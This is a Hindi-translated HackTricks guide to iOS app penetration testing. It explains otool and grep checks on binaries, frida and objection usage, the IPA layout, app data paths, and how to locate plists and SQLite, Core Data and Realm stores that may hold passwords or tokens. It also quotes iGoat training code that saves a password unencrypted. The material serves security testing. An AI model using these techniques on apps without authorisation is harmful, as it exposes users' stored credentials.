hacktricks/mobile-pentesting/ios-pentesting
2024-04-23 21:05:33 +00:00
..
basic-ios-testing-operations.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
burp-configuration-for-ios.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 18:36:12 +00:00
extracting-entitlements-from-compiled-application.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
frida-configuration-in-ios.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
ios-app-extensions.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
ios-basics.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
ios-custom-uri-handlers-deeplinks-custom-schemes.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
ios-hooking-with-objection.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00
ios-protocol-handlers.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 09:38:06 +00:00
ios-serialisation-and-encoding.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2024-02-09 13:24:38 +00:00
ios-testing-environment.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2024-02-09 13:24:38 +00:00
ios-uiactivity-sharing.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2024-02-09 13:24:38 +00:00
ios-uipasteboard.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2024-02-09 13:24:38 +00:00
ios-universal-links.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2024-02-09 13:24:38 +00:00
ios-webviews.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-09 18:02:06 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/README.md'] to in 2024-04-23 21:05:33 +00:00

iOS Pentesting


Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बनाएं और स्वचालित करें।
आज ही पहुंचें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

iOS Basics

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

Testing Environment

इस पृष्ठ पर आप iOS सिम्युलेटर, एम्युलेटर और जेलब्रेकिंग के बारे में जानकारी पा सकते हैं:

{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}

प्रारंभिक विश्लेषण

मौलिक iOS परीक्षण कार्रवाई

परीक्षण के दौरान कई कार्रवाई सुझाई जाएंगी (डिवाइस से कनेक्ट करें, फ़ाइलें पढ़ें/लिखें/अपलोड/डाउनलोड करें, कुछ उपकरणों का उपयोग करें...). इसलिए, यदि आप इन कार्रवाइयों में से कोई भी कार्रवाई कैसे करें इसका पता नहीं है तो कृपया, पृष्ठ पढ़ना शुरू करें:

{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}

{% hint style="info" %} निम्नलिखित चरणों के लिए ऐप्लिकेशन को स्थापित किया जाना चाहिए डिवाइस में और पहले से ही ऐप्लिकेशन की IPA फ़ाइल प्राप्त कर लेनी चाहिए।
इसे कैसे करना है इसके लिए मौलिक iOS परीक्षण कार्रवाई पृष्ठ पढ़ें। {% endhint %}

मौलिक स्थैतिक विश्लेषण

MobSF उपकरण का उपयोग करना सुझावित है ताकि IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण किया जा सके।

बाइनरी में मौजूद सुरक्षा उपायों की पहचान:

  • PIE (स्थिति स्वत: स्थानीय एक्जीक्यूटेबल): जब सक्षम होता है, तो एप्लिकेशन हर बार जब भी लॉन्च होता है, तो एक यादृच्छिक मेमोरी पते में लोड होता है, जिससे इसका प्रारंभिक मेमोरी पता पूर्वानुमान करना कठिन होता है।
otool -hv <app-binary> | grep PIE   # इसमें PIE ध्वज शामिल होना चाहिए
  • स्टैक कैनेरीज: स्टैक की अखंडता को सत्यापित करने के लिए, किसी फ़ंक्शन को कॉल करने से पहले स्टैक पर 'कैनेरी' मानक रखा जाता है और फिर फ़ंक्शन समाप्त होने पर फिर से सत्यापित किया जाता है।
otool -I -v <app-binary> | grep stack_chk   # इसमें संकेत: stack_chk_guard और stack_chk_fail शामिल होना चाहिए
  • ARC (स्वचालित संदर्भ गणना): सामान्य मेमोरी कर्कशी दोषों को रोकने के लिए
otool -I -v <app-binary> | grep objc_release   # इसमें _objc_release प्रतीक शामिल होना चाहिए
  • एन्क्रिप्टेड बाइनरी: बाइनरी को एन्क्रिप्ट किया जाना चाहिए
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # cryptid 1 होना चाहिए

संवेदनशील/असुरक्षित फ़ंक्शनों की पहचान

  • कमजोर हैशिंग एल्गोरिदम
# iOS डिवाइस पर
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# लिनक्स पर
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • असुरक्षित रैंडम फ़ंक्शन्स
# iOS डिवाइस पर
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# लिनक्स पर
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • असुरक्षित ‘मैलोक’ फ़ंक्शन
# iOS डिवाइस पर
otool -Iv <app> | grep -w "_malloc"

# लिनक्स पर
grep -iER "_malloc"
  • असुरक्षित और वंलरेबल फ़ंक्शन्स
# iOS डिवाइस पर
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# लिनक्स पर
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

मौलिक गतिशील विश्लेषण

देखें कि MobSF किस प्रकार का गतिशील विश्लेषण करता है। आपको विभिन्न दृश्यों में नेविगेट करने और उनसे बातचीत करने की आवश्यकता होगी, लेकिन यह कई कक्षाओं को हुक करेगा और अन्य कार्रवाई करेगा और जब आप समाप्त हो जाएंगे तो एक रिपोर्ट तैयार करेगा।

स्थापित ऐप्स की सूची

बंडल पहचानकर्ता का पता लगाने के लिए आदेश frida-ps -Uai का उपयोग करें:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

मूल सूचीकरण और हुकिंग

सीखें कैसे एप्लिकेशन के घटकों की सूचीकरण करें और कैसे आसानी से विधियों और वर्गों को हुक करें objection के साथ:

{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}

IPA संरचना

IPA फ़ाइल की संरचना मुख्य रूप से एक ज़िप पैकेज की तरह है। इसके एक्सटेंशन को .zip में बदलकर, इसे डीकंप्रेस किया जा सकता है ताकि इसकी सामग्री प्रकट हो। इस संरचना में, एक बंडल एक पूरी तरह से पैकेज की गई एप्लिकेशन को स्थापित के लिए तैयार करता है। इसके अंदर, आपको एक नामित निर्देशिका मिलेगी <NAME>.app, जो एप्लिकेशन के संसाधनों को संक्षिप्त करती है।

  • Info.plist: यह फ़ाइल एप्लिकेशन की विशेष विन्यास विवरणों को धारण करती है।
  • _CodeSignature/: यह निर्देशिका एक प्लिस्ट फ़ाइल शामिल करती है जो एक हस्ताक्षर को धारित करती है, जो बंडल में सभी फ़ाइलों की अखंडता सुनिश्चित करता है।
  • Assets.car: एक संकुचित संग्रह जो आइकन जैसी संपत्ति फ़ाइलों को संग्रहित करता है।
  • Frameworks/: यह फ़ोल्डर एप्लिकेशन की मूल पुस्तकालयों को संभालता है, जो .dylib या .framework फ़ाइलों के रूप में हो सकती हैं।
  • PlugIns/: इसमें एप्लिकेशन के विस्तार को शामिल करने वाले एक्सटेंशन शामिल हो सकते हैं, जिन्हें .appex फ़ाइलें कहा जाता है, हालांकि वे हमेशा मौजूद नहीं होते।
  • Core Data: इसका उपयोग आपके एप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए सहेजने, अस्थायी डेटा कैश करने और आपके ऐप में अनडू कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही उपकरण पर अपने ऐप में डेटा को कई उपकरणों के बीच सिंक करने के लिए, कोर डेटा स्वचालित रूप से आपकी स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
  • PkgInfo: PkgInfo फ़ाइल आपके एप्लिकेशन या बंडल के प्रकार और निर्माता कोड को निर्दिष्ट करने का एक वैकल्पिक तरीका है।
  • en.lproj, fr.proj, Base.lproj: वे भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधनों को शामिल करते हैं, और एक डिफ़ॉल्ट संसाधन जिसमें भाषा का समर्थन नहीं है।
  • सुरक्षा: _CodeSignature/ निर्देशिका एप्लिकेशन की सुरक्षा में महत्वपूर्ण भूमिका निभाती है जिसके माध्यम से डिजिटल हस्ताक्षरों के माध्यम से सभी बंडल फ़ाइलों की अखंडता की पुष्टि की जाती है।
  • संपत्ति प्रबंधन: Assets.car फ़ाइल संपत्तियों को प्रबंधित करने के लिए संकुचित करती है, जो एप्लिकेशन प्रदर्शन को अनुकूलित करने और इसका समग्र आकार कम करने के लिए महत्वपूर्ण है।
  • फ्रेमवर्क और प्लगइंस: ये निर्देशिकाएँ iOS एप्लिकेशनों की मॉड्यूलरिटी को अंगीकार करती हैं, जो डेवलपर्स को पुन: उपयोगी कोड पुस्तकालयें (Frameworks/) शामिल करने और ऐप कार्यक्षमता को विस्तारित करने की अनुमति देती हैं (PlugIns/।)
  • स्थानीयकरण: संरचना विशेष भाषाओं के लिए संसाधनों को शामिल करके विश्वस्तरीय एप्लिकेशन तक पहुंचने का समर्थन करती है।

Info.plist

Info.plist iOS एप्लिकेशनों के लिए एक मूलाधार के रूप में काम करता है, कुंजी-मूल्य जोड़ों के रूप में महत्वपूर्ण जानकारी को आवरित करता है। यह फ़ाइल केवल एप्लिकेशनों के लिए ही अनिवार्य है बल्कि उसमें शामिल एप्लिकेशन विस्तार और फ़्रेमवर्क भी हैं। यह या तो XML में या एक बाइनरी स्वरूप में संरचित है और एप्लिकेशन अनुमतियों से लेकर सुरक्षा विन्यास तक महत्वपूर्ण जानकारी धारण करता है। उपलब्ध कुंजियों की विस्तृत अन्वेषण के लिए, कोई भी Apple Developer Documentation का संदर्भ ले सकता है।

उन लोगों के लिए जो इस फ़ाइल के साथ काम करना चाहते हैं एक अधिक पहुंचने योग्य स्वरूप में, XML परिवर्तन को मक्खन की तरह plutil का उपयोग करके मैकओएस पर (10.2 और बाद के संस्करणों पर स्वत: उपलब्ध) या लिनक्स पर plistutil का उपयोग करके आसानी से प्राप्त किया जा सकता है। परिवर्तन के लिए आदेश निम्नलिखित हैं:

  • मैकओएस के लिए:
$ plutil -convert xml1 Info.plist
  • लिनक्स के लिए:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

महासागर की जानकारी में से कई जानकारी जो Info.plist फ़ाइल दे सकती हैं, उनमें ऐप की अनुमति स्ट्रिंग (UsageDescription), कस्टम URL स्कीम (CFBundleURLTypes), और ऐप ट्रांसपोर्ट सुरक्षा के लिए विन्यास (NSAppTransportSecurity) शामिल हैं। इन एंट्रीज़ के साथ, निर्यात/आयात किए गए कस्टम दस्तावेज़ प्रकार (UTExportedTypeDeclarations / UTImportedTypeDeclarations) जैसे अन्य एंट्रीज़ को आसानी से फ़ाइल की जांच करके या एक सरल grep कमांड का उपयोग करके ढूंढ़ा जा सकता है:

$ grep -i <keyword> Info.plist

डेटा पथ

iOS माहौल में, निर्दिष्ट किए गए निर्देशिकाएँ सिस्टम एप्लिकेशन और उपयोगकर्ता इंस्टॉल की गई एप्लिकेशनों के लिए हैं। सिस्टम एप्लिकेशन /Applications निर्देशिका में रहते हैं, जबकि उपयोगकर्ता द्वारा इंस्टॉल की गई एप्लिकेशनें /var/mobile/containers/Data/Application/ के नीचे रखी जाती हैं। इन एप्लिकेशनों को एक अद्वितीय पहचानकर्ता दिया जाता है जिसे 128-बिट UUID कहा जाता है, जिसके कारण एक एप्लिकेशन के फ़ोल्डर को मैन्युअल रूप से खोजना कठिन हो सकता है क्योंकि निर्देशिका नामों की अनियमितता होती है।

{% hint style="warning" %} iOS में एप्लिकेशनों को सैंडबॉक्स में होना चाहिए, हर एप्लिकेशन के पास एक फ़ोल्डर भी होगा $HOME/Library/Containers में जिसका नाम एप्लिकेशन का CFBundleIdentifier होगा।

हालांकि, दोनों फ़ोल्डर (डेटा और कंटेनर फ़ोल्डर) में फ़ाइल होती है .com.apple.mobile_container_manager.metadata.plist जो की कुंजी MCMetadataIdentifier में दोनों फ़ाइलों को लिंक करती है। {% endhint %}

एक उपयोगकर्ता इंस्टॉल की गई एप्लिकेशन के स्थापना निर्देशिका की खोज को सुविधाजनक बनाने के लिए objection टूल एक उपयोगी कमांड प्रदान करता है, env। यह कमांड सवाल में एप्लिकेशन के लिए विस्तृत निर्देशिका जानकारी प्रकट करती है। नीचे इस कमांड का उपयोग करने का एक उदाहरण दिया गया है:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

विकल्प से, ऐप नाम को /private/var/containers में find कमांड का उपयोग करके खोजा जा सकता है:

find /private/var/containers -name "Progname*"

Commands जैसे ps और lsof का उपयोग किया जा सकता है ताकि ऐप की प्रक्रिया की पहचान की जा सके और खुली फ़ाइलों की सूची बनाई जा सके, जो अनुसार, एप्लिकेशन के सक्रिय निर्देशिका मार्गों में अवलोकन प्रदान कर सकते हैं:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

बंडल निर्देशिका:

  • AppName.app
  • यह एप्लिकेशन बंडल है जैसा IPA में पहले देखा गया था, इसमें महत्वपूर्ण एप्लिकेशन डेटा, स्थिर सामग्री और एप्लिकेशन का कंपाइल किया गया बाइनरी होता है।
  • इस निर्देशिका को उपयोगकर्ताओं को दिखाई देता है, लेकिन उपयोगकर्ता इसमें लिखने में सक्षम नहीं हैं
  • इस निर्देशिका में विषय हैं बैकअप नहीं होता
  • इस फ़ोल्डर की सामग्री कोड हस्ताक्षर को सत्यापित करने के लिए उपयोग की जाती है।

डेटा निर्देशिका:

  • Documents/
  • सभी उपयोगकर्ता द्वारा उत्पन्न डेटा को यहाँ रखा जाता है। एप्लिकेशन अंत उपयोगकर्ता इस डेटा का निर्माण प्रारंभ करता है।
  • उपयोगकर्ताओं को दिखाई देता है और उपयोगकर्ता इसमें लिख सकते हैं
  • इस निर्देशिका में विषय हैं बैकअप होता है
  • एप्लिकेशन NSURLIsExcludedFromBackupKey सेट करके पथों को अक्षम कर सकता है।
  • Library/
  • उन सभी फ़ाइलें जो उपयोगकर्ता-विशिष्ट नहीं हैं, जैसे कैश, पसंद, कुकीज़, और प्रॉपर्टी सूची (plist) कॉन्फ़िगरेशन फ़ाइलें शामिल हैं।
  • iOS एप्स आम तौर पर Application Support और Caches उपनिर्देशिकाओं का उपयोग करते हैं, लेकिन एप्लिकेशन कस्टम उपनिर्देशिकाएँ बना सकता है।
  • Library/Caches/
  • अर्ध-स्थायी कैश फ़ाइलें शामिल हैं
  • उपयोगकर्ताओं को दिखाई नहीं देता और उपयोगकर्ता इसमें लिखने में सक्षम नहीं हैं
  • इस निर्देशिका में विषय हैं बैकअप नहीं होता
  • जब एप्लिकेशन नहीं चल रहा हो और स्टोरेज स्थान कम हो रहा हो, तो ऑपरेटिंग सिस्टम स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
  • Library/Application Support/
  • एप्लिकेशन चलाने के लिए आवश्यक स्थायी फ़ाइलें शामिल हैं।
  • उपयोगकर्ताओं को दिखाई नहीं देता है और उपयोगकर्ता इसमें लिखने में सक्षम नहीं हैं।
  • इस निर्देशिका में विषय हैं बैकअप होता है
  • एप्लिकेशन NSURLIsExcludedFromBackupKey सेट करके पथों को अक्षम कर सकता है।
  • Library/Preferences/
  • एप्लिकेशन को फिर से शुरू करने के बाद भी स्थायी रूप से बने रहने वाले गुणों को स्टोर करने के लिए उपयोग किया जाता है।
  • जानकारी, एप्लिकेशन सैंडबॉक्स में एक plist फ़ाइल में अविगत रूप से सहेजी जाती है जिसे [BUNDLE_ID].plist कहा जाता है।
  • NSUserDefaults का उपयोग करके स्टोर किए गए सभी कुंजी/मान जोड़े इस फ़ाइल में पाए जा सकते हैं।
  • tmp/
  • इस निर्देशिका का उपयोग करें अस्थायी फ़ाइलें लिखने के लिए जो एप्लिकेशन लॉन्च के बीच स्थायी नहीं होने की आवश्यकता है।
  • अस्थायी कैश फ़ाइलें शामिल हैं।
  • उपयोगकर्ताओं को दिखाई नहीं देता है।
  • इस निर्देशिका में विषय हैं बैकअप नहीं होता है।
  • जब एप्लिकेशन नहीं चल रहा हो और स्टोरेज स्थान कम हो रहा हो, तो ऑपरेटिंग सिस्टम स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।

चलिए iGoat-Swift की एप्लिकेशन बंडल (.app) निर्देशिका को नजदीक से देखते हैं (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app)।

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

बाइनरी रिवर्सिंग

<application-name>.app फ़ोल्डर के अंदर आपको <application-name> नामक एक बाइनरी फ़ाइल मिलेगी। यह फ़ाइल वह फ़ाइल है जो क्रियान्वित की जाएगी। आप otool उपकरण के साथ बाइनरी का मूल्यांकन कर सकते हैं:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

जांचें कि ऐप एन्क्रिप्टेड है

क्या कोई आउटपुट है:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

बाइनरी का विश्लेषण

टेक्स्ट सेक्शन को डिसएसेंबल करें:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

उदाहरण एप्लिकेशन के Objective-C सेगमेंट को प्रिंट करने के लिए निम्नलिखित का उपयोग किया जा सकता है:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

एक और संक्षिप्त Objective-C कोड प्राप्त करने के लिए आप class-dump का उपयोग कर सकते हैं:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

हालांकि, बाइनरी को डिसएसेंबल करने के लिए सबसे अच्छे विकल्प हैं: Hopper और IDA.


Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित ऑटोमेट वर्कफ़्लो आसानी से बनाएं।
आज ही पहुंचें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

डेटा स्टोरेज

उपकरण में डेटा कैसे स्टोर करता है इसके बारे में जानने के लिए इस पेज को पढ़ें:

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

{% hint style="warning" %} जानकारी स्टोर करने के निम्नलिखित स्थानों की जांच की जानी चाहिए एप्लिकेशन को इंस्टॉल करने के बाद, एप्लिकेशन की सभी कार्यक्षमताओं की जांच के बाद और एक उपयोगकर्ता से लॉगिन आउट करने के बाद एक अलग उपयोगकर्ता में लॉगिन करने के बाद
उद्देश्य है एप्लिकेशन की संरक्षित संवेदनशील जानकारी (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता और पहले लॉग इन किए गए उपयोगकर्ताओं की खोज करना। {% endhint %}

प्लिस्ट

प्लिस्ट फ़ाइलें संरचित XML फ़ाइलें हैं जो कुंजी-मानक जोड़े रखती हैं। यह स्थायी डेटा स्टोर करने का एक तरीका है, इसलिए कभी-कभी आपको इन फ़ाइलों में संवेदनशील जानकारी मिल सकती है। यह सिफारिश की जाती है कि इन फ़ाइलों की जांच करें एप्लिकेशन को इंस्टॉल करने के बाद और इसका उपयोग अधिकतम करने के बाद देखें कि क्या नए डेटा लिखा गया है।

प्लिस्ट फ़ाइलों में डेटा स्थायी रूप से सहेजने का सबसे सामान्य तरीका NSUserDefaults का उपयोग करना है। यह प्लिस्ट फ़ाइल एप्लिकेशन सैंडबॉक्स के अंदर Library/Preferences/<appBundleID>.plist में सहेजी जाती है।

NSUserDefaults कक्षा डिफ़ॉल्ट सिस्टम के साथ बातचीत करने के लिए एक कार्यक्रमात्मक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को अनुसार अपने उपयोगकर्ता प्राथमिकताओं के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। NSUserDefaults द्वारा सहेजे गए डेटा को एप्लिकेशन बंडल में देखा जा सकता है। यह कक्षा डेटा को प्लिस्ट फ़ाइल में स्टोर करती है, लेकिन इसे छोटी मात्रा में डेटा के साथ उपयोग करने के लिए बनाया गया है।

इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से अब नहीं एक्सेस किया जा सकता है, लेकिन एक बैकअप करके इसे एक्सेस किया जा सकता है।

आप NSUserDefaults का उपयोग करके सहेजे गए जानकारी को डंप कर सकते हैं जिसका उपयोग objection के ios nsuserdefaults get करके किया जा सकता है।

एप्लिकेशन द्वारा उपयोग किए गए सभी प्लिस्ट को खोजने के लिए आप /private/var/mobile/Containers/Data/Application/{APPID} तक पहुंच सकते हैं और निम्नलिखित को चला सकते हैं:

find ./ -name "*.plist"

फ़ाइलें XML या बाइनरी (bplist) प्रारूप से XML में परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम पर निर्भर करता है, विभिन्न विधियाँ उपलब्ध हैं:

मैकओएस उपयोगकर्ताओं के लिए: plutil कमांड का उपयोग करें। यह एक बिल्ट-इन टूल है मैकओएस (10.2+) में, जो इस उद्देश्य के लिए डिज़ाइन किया गया है:

$ plutil -convert xml1 Info.plist

लिनक्स उपयोगकर्ताओं के लिए: सबसे पहले libplist-utils इंस्टॉल करें, फिर अपनी फ़ाइल को कनवर्ट करने के लिए plistutil का उपयोग करें:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

एक आपत्ति सत्र के भीतर: मोबाइल एप्लिकेशन का विश्लेषण करने के लिए, एक विशिष्ट कमांड आपको plist फ़ाइलों को सीधे कनवर्ट करने की अनुमति देता है:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

कोर डेटा

कोर डेटा आपके एप्लिकेशन में ऑब्जेक्ट के मॉडल लेयर को प्रबंधित करने के लिए एक फ्रेमवर्क है। कोर डेटा SQLite को अपना स्थायी स्टोर के रूप में उपयोग कर सकता है, लेकिन फ्रेमवर्क खुद एक डेटाबेस नहीं है।
कोरडेटा डिफ़ॉल्ट रूप से अपने डेटा को एन्क्रिप्ट नहीं करता है। हालांकि, CoreData में एक अतिरिक्त एन्क्रिप्शन लेयर जोड़ा जा सकता है। अधिक विवरण के लिए GitHub Repo देखें।

आप एक एप्लिकेशन की SQLite कोर डेटा जानकारी को पथ /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support में पा सकते हैं।

यदि आप SQLite खोल सकते हैं और संवेदनशील जानकारी तक पहुंच सकते हैं, तो आपने एक गलत-कॉन्फ़िगरेशन पाया है।

{% code title="iGoat से कोड" %}

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

{% endcode %}

YapDatabase

YapDatabase एक SQLite के ऊपर बनी key/value store है।
जैसे कि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले खंड में उपयुक्त आदेश का उपयोग करके खोज सकते हैं।

अन्य SQLite डेटाबेस

एप्लिकेशन अपना खुद का SQLite डेटाबेस बनाना आम है। वे उनमें संवेदनशील डेटा संग्रहित कर सकते हैं और उसे अन एन्क्रिप्टेड छोड़ सकते हैं। इसलिए, हर एप्लिकेशन डायरेक्टरी की जाँच करना हमेशा दिलचस्प होता है। इसलिए, उस एप्लिकेशन डायरेक्टरी पर जाएं जहाँ डेटा सहेजा गया है (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

डेवलपर्स को Firebase Real-Time Databases के माध्यम से डेटा स्टोर और सिंक करने की सुविधा प्राप्त है जो कि एक NoSQL क्लाउड-होस्टेड डेटाबेस में होती है। JSON प्रारूप में स्टोर किया जाने वाला डेटा सभी कनेक्टेड क्लाइंट्स को वास्तविक समय में सिंक्रनाइज़ कर दिया जाता है।

यहाँ देख सकते हैं कि कैसे मिसकॉन्फ़िगर्ड Firebase डेटाबेस की जाँच करें:

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}

Realm databases

Realm Objective-C और Realm Swift डेटा स्टोरेज के लिए एक शक्तिशाली विकल्प प्रदान करते हैं, जो Apple द्वारा प्रदान नहीं किया जाता। डिफ़ॉल्ट रूप से, ये डेटा अनएन्क्रिप्टेड स्टोर करते हैं, जिसमें एन्क्रिप्शन विशेष विन्यास के माध्यम से उपलब्ध है।

डेटाबेस /private/var/mobile/Containers/Data/Application/{APPID} पर स्थित हैं। इन फ़ाइलों का अन्वेषण करने के लिए, व्यक्ति इस्तेमाल कर सकता है:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

इन डेटाबेस फ़ाइल्स को देखने के लिए, Realm Studio टूल की सिफारिश की जाती है।

एक Realm डेटाबेस के अंदर एन्क्रिप्शन को लागू करने के लिए, निम्नलिखित कोड स्निपेट का उपयोग किया जा सकता है:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
